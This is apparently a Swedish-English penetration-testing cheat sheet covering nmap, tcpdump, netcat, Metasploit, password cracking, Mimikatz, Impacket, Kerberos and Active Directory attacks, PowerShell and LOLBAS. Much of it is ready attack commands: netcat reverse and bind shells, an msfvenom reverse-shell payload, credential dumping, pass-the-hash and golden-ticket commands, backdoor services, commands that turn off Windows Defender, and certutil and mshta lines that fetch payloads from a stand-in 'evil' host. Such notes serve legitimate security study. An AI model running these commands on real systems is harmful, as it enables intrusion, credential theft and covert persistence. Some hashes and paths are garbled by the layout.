

nmap		nmap (cont)	
-sn <ip>	Ping sweep	nmap --script=vuln <ip> -Pn -n -v	Use --script=vuln to find vulnerabilities for host
-sT <ip>	TCP-full connect scan	nmap --script-help=http-brute	Find info about script http-brute
-sS <ip>	TCP SYN half-open (requires root) Stealth Scan	Timing template	
-sU <ip>	UDP scan	900000ms, 900, 900s, and 15m	Time definitions. All means the same amount of time
-sV <ip>	Version scan	-T0	paranoid
-O <ip>	OS-fingerprint	-T1	sneaky
-Pn <ip>	Treat all host as online (skip host discovery)	-T2	polite
-p-	Scan ALL TCP-ports	-T3	normal (default)
-sX <ip>	Xmas scan	-T4	agressive
-top-ports=10 <ip>	Scan top 10 most common ports	-T5	insane
<ip> -sV -Pn --reason	Add --reason to get why port is open	Delays	
-6 -sV <ip>	IPv6 scan	--host-timeout <time>	Give up on slow target hosts. value 0 can be used to mean "no timeout"
-sA <ip>	Map out firewall ruleset. Statefull/Stateless firewall (only sends ACK-flag)	--scan-delay <time>	Wait <time> between each probe
-A <ip>	OS and version detection, script scanning, and traceroute	--script-timeout <time>	Sets a ceiling on script execution time.
-iL list-of-ips.txt	Scan from list of IPs		
Save output to file		tcpdump	
-oN	Normal output	-D	List alla interfaces
-oX	XML format	-i	Record from specific interface
-oG	Greppable format	-nn	Do not resolve hostnames
-oS	Script kiddie output	-w output.pcap	write to file
-oA	Output in the three useful formats (all but script kiddie)	-v	Verbose
-p 0-65535 eller --all-ports	Skanna alla portar (-p- har inte med port 0)	EXAMPLE	
Scripts		tcpdump -i eth1	Record traffic from eth1
auth, broadcast, brute, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, saft, version, vuln		tcpdump -i eth1 -w ~/output.pcap	Write to file
-sC/--script	Script scan	tcpdump -i eth1 -r ~/output.pcap	Read from file
/usr/share/nmap/scripts	NSE script storage	FILTER	
		tcpdump -i eth0 host 127.0.0.1	Filter on host 127.0.0.1 using host



tcpdump (cont)

tcpdump -i eth0 dest **net** 172.16.14-6.0/24 Filter on network using **net** (and dest)

tcpdump -i eth0 **portrange** 0-1024 Filter on **portrange**

tcpdump -i eth0 **port** 80 Filter on **port**

tcpdump -i eth0 tcp src port 80 Filter on **src** (and port)

PROTOCOL

ether, ip, ip6, arp, rarp, tcp, udp

tcpdump -r sus.pcap **icmp** or **host** 172.16.146.1 Filter on protocol **icmp** and **host**

tcpdump -r sus.pcap not icmp Filter NOT on protocol **icmp**

Use **and** / **or** to combine these together

netcat (nc)

Flags

-l	Listen mode
-L	Listen harder - Make a persistent listener
-n	Don't resolve names
-z	Zero I/O. Don't send any data
-v	verbose
-p	Local port
-u	UDP connection
-e	Program to execute after connections occurs (unsafe, needs to be enabled in some cases. Depends on nc-version)
-w 10	Timeout after 10 seconds

Examples

nc -l -p 1337 -e /bin/bash

nc -zvn <ip> <port>

nc <ip> <port>

File receiver/sender

nc -l port > filename

netcat (nc) (cont)

nc host port < filename On client: Send file

Reverse Shell (attacker is listener)

On target machine

nc <ip> <port> -e /bin/bash

On attacking machine

nc -lvnp <port>

Bind Shell (victim is listener)

On target machine

nc -lvnp <port> -e /bin/bash

On attacking machine

nc -nv <ip> <port>

Metasploit

MODULES

Auxiliary	Verktogsmoduler för scanning, fuzzing, bruteforce, sniffning
Encoders	Kodar payloads för att undvika antivirus
Exploits	Utnyttjar en sårbarhet i mål (t.ex. buffer overflow, RCE)
NOPs	(No Operation code) används för padding i exploits
Payloads	Kod som körs efter en exploit (t.ex. reverse shell)
Plugins	Additional scripts can be integrated within an assessment with msfconsole and coexist.
Post	Används efter access, för enum, dump, persistence
Evasion	Designade för att undvika AV/EDR, t.ex. via obfuskering
Exploit/multi/handler	Ta emot en payload (lyssnare)



Metasploit (cont)

`<modul><plattform>` Exploit/modul format (exploit, auxiliary, post)

`<payloadtyp><plattform><funktion>` Payload format (windows, linux, cmd)

`show payloads` Lists all payloads for a module

API

`load_extapi` Extended API (måste laddas manuellt)

`stdapi` Standard-API (laddas automatiskt)

MISC

`smart_hashdump` Väljer smart/automatiskt vilka hashar att dumpa (lokalt eller domän)

`search name:mysql` Search exploits (mysql)

`search cve:2011` Search exploit

`author:jduck platform:-linux`

PAYLOADTYPER

`reverse_tcp` Offret ansluter tillbaka till attackeraren via TCP

`bind_tcp` Offret har lyssnare på en port, som attackerare utnyttjar och ansluter in på

METERPRETER

`migrate <psld>` Migrera till en stabilare process tex winlogon.exe (behöver köra ps)

`load kiwi` Mimikatz från meterpreter

`creds_all` Dumpa alla creds (kiwi)

`creds_kerberos` se TGT/TGS (kiwi)

`route add 10.1.10.5 1` Routa trafik via en host och session (1)

MSFVENOM

skapa payloads och exploits i olika format – t.ex. .exe, .ps1, .apk, .asp, .dll

Metasploit (cont)

`msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.25 LPORT=4444 -f exe -o payload.exe`

`-p` Payloadtyp

`-f` Format

LINUX

Crontab

`crontab -l` List jobs

`crontab -e` Edit jobs

`* * * * * /home/ use r/s cri pt.sh`

Min Hour Day(Month,1-31) Month Day(Week, 0-6)

MISC

`/etc/nsswitch.conf` Styr i vilken ordning Linux-systemet slår upp information om användare, grupper, och namn – t.ex. via filer, DNS eller LDAP.

`getent shadow` Lista shawdow (kräver root)

`getent passwd` Lista passwd

PASSWORD

/etc/shadow

`sai:$6$YTJ7JKnfsB4esnbS$5XvmYk2.GXVWhDo2TYGN2hCitD/-wU9Kov.uZD8xsnleuf1r0ARX3qodIKiDsdoQA444b8lMPMOnUWD-mVJVkeg1:19446:0:99999:7:::`

YTJ7JKnfsB4esnbS salt

Password hashes

\$1\$ MD5

\$2\$ Blowfish

\$2y\$ Blowfish

\$5\$ SHA-256

\$6\$ SHA-512

\$y\$ yescrypt



Hashcat

hashcat -a 0 -m 16500 <jwt> <wordlist>	Crack JWT
hashcat -m 1800 -a 0 -o found1.txt crack1.hash 500_pa - ssw ord s.txt	Crack Linux SHA512 password with dict
hashcat --force -m 13100 -a 0 lab3.h ashcat /path/ to/ Dic - t.txt --show	Crack Kerberos Service Ticket for account password
-a	Attack mode (0=dictionary, 3=BF)
-m	Hash-type

Hash types

-m 0	MD5
-m 100	SHA1
-m 1000	NTLM
-m 1800	SHA512crypt
-m 3000	LM
-m 5600	NetNTLMv2
-m 13100	Kerberos
-m 16500	JWT

Mimikatz

Kräver local admin och tillgång till SYSTEM för att få ut något intressant

privilege::debug	Ge Mimikatz rättigheter att läsa LSASS-processminnet
token::elevate	Bli SYSTEM (krävs för att läsa LSASS)
sekurlsa::logonpasswords	Dumpa hashar från minnet
token::whoami	Lista vem som kör mimikatz (för att bekräfta sin roll efter elevating)
lsadump::sam	Dumpa SAM
lsadump::dcsync	AD-hashar
load mimikatz	Kör via metasploit

Impacket

SECRETSDUMP

Dump password hashes

impacket-secretsdump	Dump NTLM hash (or use Mimikatz)
impacket-secretsdump -sam sam -system security LOCAL	Retrieve password
secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL	Dump NTDS

SMBCLIENT

Explore download/upload files using SMB

pth-smbclient.py -hashes aad3b4... EXAMPL- E/administrator@10.10.10.5	Use NTLM-hash at machine
--	--------------------------

PSEXEC

Execute commands by creating a service (noisy)

impacket-psexec.py -hashes :aad3b435b51- 404eeaad3b435b51404ee EXAMPLE/Admi- nistrator@192.168.1.10	Use NTLM hash (pass-the-hash) -> Remote shell
---	--

WMIEXEC

Commands using WMI. (more silent than psexec)

wmiexec.py DOMAIN/user@10.0.0.5 -hashes :NTLMHASH	(PTH) Execute commands on remote-computer
--	---

John the Ripper (JtR)

Commands

john hash.txt	Run john against hash.txt
john --format=krb5tgs --wordlist=r- ockyou.txt tgt_hash.txt	Kerberoasting
john --format=lm hash.txt	Crack LM-hash
john --format=nt hash.txt	Crack NT-hash
john --format=netntlm hash.txt	Crack NTLMv1/Net-NTLMv1 (challenge/response)
john --format=netntlmv2 hash.txt	Crack NTLMv2/Net-NTLMv2 (challenge/response)



John the Ripper (JtR) (cont)

Output/Misc

john.pot	File with cracked password
john.rec	store john's current status
john -- restore	Picks up where it left of. Based on john.rec
jumbo-- package	Support for additional hash types. Separate package install. Use --rules=jumbo

WINDOWS

Windows

REGISTRY

SAM	NTLM Password passwords - Stores credentials and account information for local users. <i>username:RID:LM:NT.</i>
Secrets	Stores recent cached login passwords of users. Stores secrets used by the Local Security Authority (LSA)
System	Stores system configuration data
Security	Stores user security policy data

PATHS

HKEY_LOCAL_MACHINE\SYSTEM\config\SAM	C:\Windows\System32\config\SAM
HKEY_LOCAL_MACHINE\Security\Policy\Secrets	
HKEY_LOCAL_MACHINE\SYSTEM\SYSTEM	C:\Windows\System32\config\SYSTEM
HKEY_LOCAL_MACHINE\SECURITY\Security	C:\Windows\System32\config\SECURITY

LANMAN

Old! Converted to uppercase. No salt. Divided into 7 chars-block. Maximum 14 chars. DES.

AAD3B435B-51404EE	Hårdkodad LANMAN padding
-------------------	--------------------------

Windows (cont)

MISC

Administrator:500:aad3b435b514-04eeaad3b435b51404ee:cd06ca-7c7e10c99b1d33b7485a2ed808:::	Exempel på rad i SAM
NT AUTHORITY\SYSTEM (S-1-5-18)	Gud på en helt lokal dator. Finns inte i AD. Ingen relation till andra SYSTEM på andra datorer
NT-Hash algoritm	MD4

Kerberosstermer

Domain Controller (DC)	Controls the AD
Key Distribution Center (KDC)	Service in DC. User authenticates with user/pass. Distribute TGT.
Authentication Service (AS)	Part of KDC. Authenticates. kerberos client - grants a TGT
Ticket Granting Service (TGS)	Part of KDC. Validates the TGT. Issues a ST to specific resource/service
Ticket Granting Ticket (TGT)	Proof of authentication. Given by KDC. Is then used to ask for ST (at TGS)
Service Tickets (ST)	Gives access to asked resource/service

FLÖDE

1. Användaren ber om en TGT
2. Användaren loggar in och autentiseras av KDC.
3. KDC utfärdar en TGT till användaren.
4. Användaren använder TGT:n för att begära servicebiljetter från TGS för de tjänster de behöver åtkomst till.
5. TGS verifierar TGT:n och utfärdar servicebiljetten.
6. Användaren använder servicebiljetten för att autentisera mot tjänsten.

Misc



Kerberosstermer (cont)

NTDS.dit Located at Domain Controller. Stores NTML, kerberos-keys etc.

DOMAIN\Administrator:500:aad3...:cd0-6...:: Rad i NTDS.dit

Service Principal Name (SPN)

Finns för varje tjänst. KDC vet att vilken varje SPN är kopplat till, för specifikt konto

MSSQLSvc\sqlserver.exampe.com:443 Exempel på SPN

Servicekonto AD-konto som kör respektive tjänst. Manuellt underhåll.

Managed Service Account (MSA) AD-konto för säker och automatiserad tjänstekörning. Automatisk lönsenordshantling.

Kerberoasting

(1) Discover SPNs eg. with Impacket (GetUserSPN.py), PowerView(Get-DomainUser)

(2) Request service tickets eg. with Impacket

(3) Export service tickets eg. with Impacket --> \$krb5tgs\$23\$*....

(4) Crack service tickets. eg. with Hashcat

setspn

setspn -T lab.local -Q */* List all SPNs in domain

Windows tools

SYSINTERNALS

Övervaka processer, starta tjänster, dumpa minne

wmic (Windows Management Instrumentation Command-line)

Samla systeminfo eller kör kod tyst – lokalt eller fjärr

Windows tools (cont)

wmic /node:"192.168.1.10" process call create "cmd.exe /c whoami" Starta kommando på fjärrmaskin

wmic /node:targetA.hacker.lab /user:hacker.lab/admin /password:passw0rd get product name,vendor,version /format:csv Lista alla installerad mjukvara med namn och version

wmic service get name,displayname,path-name,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i " " Hitta tjänster med osäkra sökvägar

SC (Service Control)

Skapa eller styra Windows-tjänster för exekvering eller persistens

sc create backdoor binPath= "cmd.exe /k" start= auto Skapa bakdörrsservice

sc create newservice binpath= "cmd.exe /k c:\Windows\Temp\nc.exe -L -p 8080 -e cmd.exe" Skapa lyssnare via nc genom persistent (/k) cmd

TASKLIST

Visa alla aktiva processer

tasklist /v | findstr "svchost" Hitta intressanta processer

tasklist /fo csv /fi "username ne serviceacct" Hitta processer som inte körs av serviceacct. Spara till CSV

net

Hantera användare, grupper och resurser

net user bob passw0rd1234 /add Add user

net share Lista alla delade mappar

net use Lista aktiva nätverksanslutningar



Windows tools (cont)

net accounts	Kontopolicy (lösenor, lockout etc)
net localgroup administrators*	Lista alla administrörer (som finns i gruppen)

SCHTASKS

Skapa schemalagda tasks

schtasks /query /tn myshell	List task <i>myshell</i>
schtasks /Create /tn myshell /tr C:\users\non\shell.exe /sc MINUTE	Create task <i>myshell</i> , path to program (/tr), every minute (/sc)

PSEXEC

Sysinternals som låter dig köra kommandon på en fjärrdator. Kör ofta som SYSTEM

psexec \\192.168.1.100 cmd.exe	Starta kommando (skal) på fjärrdator
psexec \\target -u DOMAIN\admin -p Password123 cmd.exe	Med user/pass
psexec \\target cmd.exe /c "-whoami > C:\output.txt"	Kör kommando utan att öppna skal
psexec \\target -c revshell.exe	Ladda upp och kör payload

ICACLS

Visar och ändrar behörigheter på filer och mappar i Windows.

icacls C:\ findstr BUILTINUsers	Hitta skrivbara mappar
--	------------------------

ACCESSCHK

Visar vem som har vilka rättigheter till filer, mappar, tjänster, registernycklar m.m.

accesschk.exe -d "C:\Program Files\MyApp"	Lista vilka användare som kan skriva till en mapp
accesschk.exe -c *	Listar tjänster och vem som kan starta/ändra dessa

WINRM

Fjärrstyrningsprotokoll som tillåter att kommandon körs på andra Windows-maskiner via nätverket, ofta med PowerShell

Windows tools (cont)

\$s = New-PSSession -ComputerName <name> -Credential <lab\netadmin>	Skapa session i \$s
Invoke-Command -ScriptBlock {Get-NetIPAddress} -Session \$s	Kör NetIPAddress på remote via session \$s
Enable-PSRemoting	Starta WinRM

PASS-THE-HASH

Autentisera till en tjänst direkt med NTLM-hash, utan att känna till lösenordet.

sekurlsa::pth /user:Administrator /domain:LAB /ntlm:-cd06ca7c7e10c99b1d33b7485a2ed808 /run:cmd.exe PTH

Metasploit expects the format LMHASH:NTHASH. Eg. when using SMBPass

OVERPASS-THE-HASH

Använd NTLM-hashen för att skapa en Kerberos TGT → sedan autentisera via Kerberos.

kerberos::purge OPtH

sekurlsa::pth /user:admin /domain:test.local /ntlm:cd06ca7c7e10c99b1d33b7485a2ed808 /run:cmd.exe

Golden Ticket

En förfalskad Kerberos TGT som skapas med krbtgt-hashen och ger fullständig, obehindrad access i en domän — utan att fråga domänkontrollanten. TGT:n kan vara valid i 10 år. Kräver admin.

lsadump::dcsync /user:krbtgt	Hämta krbtgt-kontots NTML-hash via Mimikatz (kärver domänadmin)
kerberos::golden	Skapa golden-ticket med Mimikatz
krbtgt	Domain account signing all requests for TGTs



Golden Ticket (cont)

DCSync Attack där man imiterar en DC och ber AD om lösenords-hashar via replikering.

To create a Golden Ticket with Mimikatz: valid user ID, domain SID, domain name, krbtgt hash, any username

```
kerberos::golden /user:SuperHacker /ID:500, /sid: S-1-5-21-132673-1835-146056860-2877405472 /krbtgt:<NTLM hash of krbtgt account> /domain:HACKEDLAB.local
```

CMD

/c	Run and close window
/k	Run and keep window open
/q	Quiet mode
/d	Disable autorun
/s	Quote friendly mode
cmd.exe /k color 0a	Start window with green color, and keep it open
type	Som cat, fast i cmd
nslookup www.example.com	Forward lookup

Powershell

Execution Policy

powershell.exe -ExecutionPolicy Bypass -File script.ps1 Temorär bypass av Execution Policy

Get-ExecutionPolicy Hämta policyn

Restricted Inga script får köras

RemoteSign Lokala skript OK. Fjärr måste vara signerade

Bypass Kör allt utan att fråga

Unrestricted Kör allt. Kommer få vaning om skript är från internet.

MISC

Get-ChildItem -Recurse -Path C:\ -Filter "passxlsx" Hitta fil som innehåller *pass* och filtype *xlsx*

Set-MpPreference -DisableReal-timeMonitoring \$true Disable Windows Defender (real-time monitoring)

Powershell (cont)

Add-MpPreference -ExclusionPath "Y:\IT\Security" To ensure that specified folder is not scanned by Windows Defender

Responder

Waiting for "incorrect" authentications, to get NTLM-hash. Pretends to be the correct service. Requires root. Catches Challenge-response-hashes from NTLM-auth.

Challenge-response, inte en pwd-hash. NTLM != NetNTLMv1/v2

responder -l eth0 Start

NetNTLMv1 Äldre, svagare challenge response --> 5500 - hashcat

NetNTLMv2 Nyare, starkare - vanligt i moderna Windows --> 5600 hashcat

username::DOMAIN:challenge:response:blob

USERNAME::DOMAIN:1122334455667788:0123456789ABCDEF0-123456789ABCDEF:0102030405060708090A0B0C0D0E0F10

Hasharna används främst för att knäckas, inte som tex Pth

Bloodhound/SharpHound

Kartlägger behörighetsvägar i Active Directory. Hjälper till att hitta privilege escalation-paths. SharpHound(CLI) samlar in AD-data. Läser in i Bloodhound(GUI)

Invoke-BloodHound -CollectonMethod All Powershellversionen av SharpHound. Körs i minnet. Resultat: Zip som läses in i BH

SharpHound.exe -c All Binär. Används om PS är blockat. Resultat: Zip som läses in i BH

Invoke-BloodHound -Domain LAB.local -Username hacker -Password hemligt123 Specificera domän

Cain	
<i>Sniffar, fångar och knäcker lösenord och hashar i ett lokalt nätverk. Kräver administratör. GUI-verktyg. Främst Windows fokus</i>	
Azure & Entra ID	
Struktur	
Tenants	Isolerad instans av EntraID
Users	Interna och externa
Roles	RBAC för att styra vad användaren kan göra
Roller	
Global Administrator	Full kontroll över allt
Privileged Role Administrator	Hanterar roller. Kan ge sig själv Global Admin
Application Developer	Registrera appar och ge dom API-access
Security Reader	Kan läsa säk.konf, men ej ändra
Misc	
Service Principal	Kopplar app till EntraID dvs gör appen körbar
App Registration	App som skapats av tenant. Innehåller konfig, behörigheter och secrets
Enterprise Application	Faktiska instansen (Service Principal) av en app i en tenant
Conditional Access	Styra när, var och hur användare får åtkomst till resurser – baserat på olika villkor --> MFA
Attack	
Shadow admin	App kan få admin-rättigheter i smyg, via API-behörigheter

PowerSploit/PowerView/Empire	
PowerSploit	
<i>Samling offensiva Powershell-script. Används ofta från RAM. Innehåller PowerView, PowerUp etc</i>	
PowerSploit.psd1	
PowerView	
<i>Recon-delen i PowerSploit (AD-enumerering). Läses in direkt i minnet (iex)</i>	
Import-Module PowerView.ps1`	Starta modul
Invoke-Kerberoast	Dra ut TGS för crack
Get-DomainUser -SPN	Information om DC
Empire	
<i>Post-exploit-ramverk (C2) med färdiga moduler ex. PowerView. Liknar Metasploit i syntaxen</i>	
CLI-kommandon (listeners, usestager, agents)	
AD	
<i>Group Policy Objects (GPOs) används för att centralt styra konfigurationer på användare och datorer i en Active Directory-domän. EJ EntraID</i>	
Group Policy-managed	Finns i Groups.xml på SYSVOL. Kräver endast giltigt domain user account för att läsa filen. AES-kryptering.
Group Policy Store	
SYSVOL	Filbaserad. Skript, inställningsfiler, templates
AD	Katalogbaserad. Metadata: namn, länkar, versionsnummer
ATTACKER	
Golden SAML	Certifikatskapning möjliggör falsk autentisering
Token replays	Missbruk av tokens (OpenID & v OAuth 2.0)
AAD Connect	Synkar konton från AD till Entra ID. Om servern komprometteras -> Dumpa NT-hashar



LOLBAS

Ladda ned payloads, köra kod dolt, persistence

certutil -urlcache -f http://evil/payload.exe Handling certificates
payload.exe

mshta http://evil/malicious.hta Execute html applic-
ations

MISC

Misc

Lista portar

netstat -antp | grep LISTEN Lists open ports/connections

Get-NetTCPConnection -State Listen Lists open ports/connections
(powershell)

Lista grupper

net localgroup "Administrator" Lista administrator

Get-LocalGroupMember -Name "-Administrator" Lista administrator

Lista firewall states

Get-NetFirewallProfile | Select Name,Enabled Lista firewall states

netsh advfirewall show allprofiles Lista firewall states

Common ports

21	FTP
22	SSH & SFTP
23	Telnet
69	TFTP
88	(TCP och UDP): Kerberos Key Distribution Center (KDC)
161/162	SNMP (UDP)
445	SMB
2049	NFS
3389	RDP
5985/5986	WinRM (http/https)

